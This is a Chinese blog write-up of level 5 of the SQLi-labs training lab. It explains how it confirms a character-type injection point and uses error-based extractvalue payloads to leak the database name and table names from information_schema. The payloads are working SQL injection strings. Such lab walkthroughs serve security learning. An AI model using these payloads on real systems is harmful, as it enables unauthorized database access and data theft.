sqllab第五关通关笔记

知识点:

  • 报错注入函数语法(详见第二关笔记)
  • 报错注入打印位数最多32位
  • 对于大于32位的数据最好使用截取函数进行控制;以保证输出完整
  • mysql表中的重点数据库
    • information_schema (mysql 5.0以上)
      • schemata 存放所有数据库名
        • schema_name
      • tables 存放所有表名
        • table_schema
        • table_name
      • columns 存放所有字段名
        • table_schema
        • table_name
        • column_name

首先检测注入类型

构造id=1/0

发现输出了一句话;没有报错;但也没有任何有价值的信息

构造id=1

发现输出和1/0一样;说明是字符型注入,而且回显信息固定,无价值

构造id=1'

发现报错了;好的;说明还是单引号的输入提取

进一步验证;构造id=1''

正常输出内容;确认这里存在字符型注入点

由于回显内容固定,所以不能采用联合注入了,只能进行错误注入了

构造payload:id=1' and extractvalue(1,concat(0x7e,database(),0x7e))+--+

成功输出了数据库的名字

下面进一步输出表的名字

构造payload:id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e))+--+

发现也是可以输出的;错误注入的效果还是挺大的

但是这里得注意一个问题:错误注入的输出限制是32位;最好采用截取函数进行控制

10

相关推荐
Roselind_Yi几秒前
云计算实验实操|Hadoop伪分布式部署+MapReduce编程实践(超详细图文版)
大数据·hadoop·经验分享·笔记·分布式·数据挖掘·云计算
safedebug14 分钟前
此服务器的证书无效 您可能正在连接到一个伪装
笔记·学习
做cv的小昊20 分钟前
【TJU】应用统计学——第六周作业(3.3 两个正态总体参数的假设检验、3.4 非正态总体参数的假设检验、4.1 一元线性回归分析)
笔记·算法·数学建模·矩阵·回归·线性回归·学习方法
晨晖222 分钟前
linux笔记6
linux·运维·笔记
古方路杰出青年24 分钟前
学习笔记1:Python FastAPI极简后端API示例解析
笔记·后端·python·学习·fastapi
羊群智妍27 分钟前
2026年GEO监测工具大全|免费AI搜索优化直接用
笔记
江湖人称小鱼哥11 小时前
Obsidian-Graphify-让你的笔记库自己长出知识图谱
笔记·知识图谱·obsidian·claude code·graphify·卡帕西
苦 涩13 小时前
考研408笔记之计算机网络(三)——数据链路层
笔记·计算机网络·考研408
三品吉他手会点灯13 小时前
STM32F103 学习笔记-21-串口通信(第4节)—串口发送和接收代码讲解(中)
笔记·stm32·单片机·嵌入式硬件·学习
雾岛听蓝14 小时前
Qt操作指南:窗口组成与菜单栏
开发语言·经验分享·笔记·qt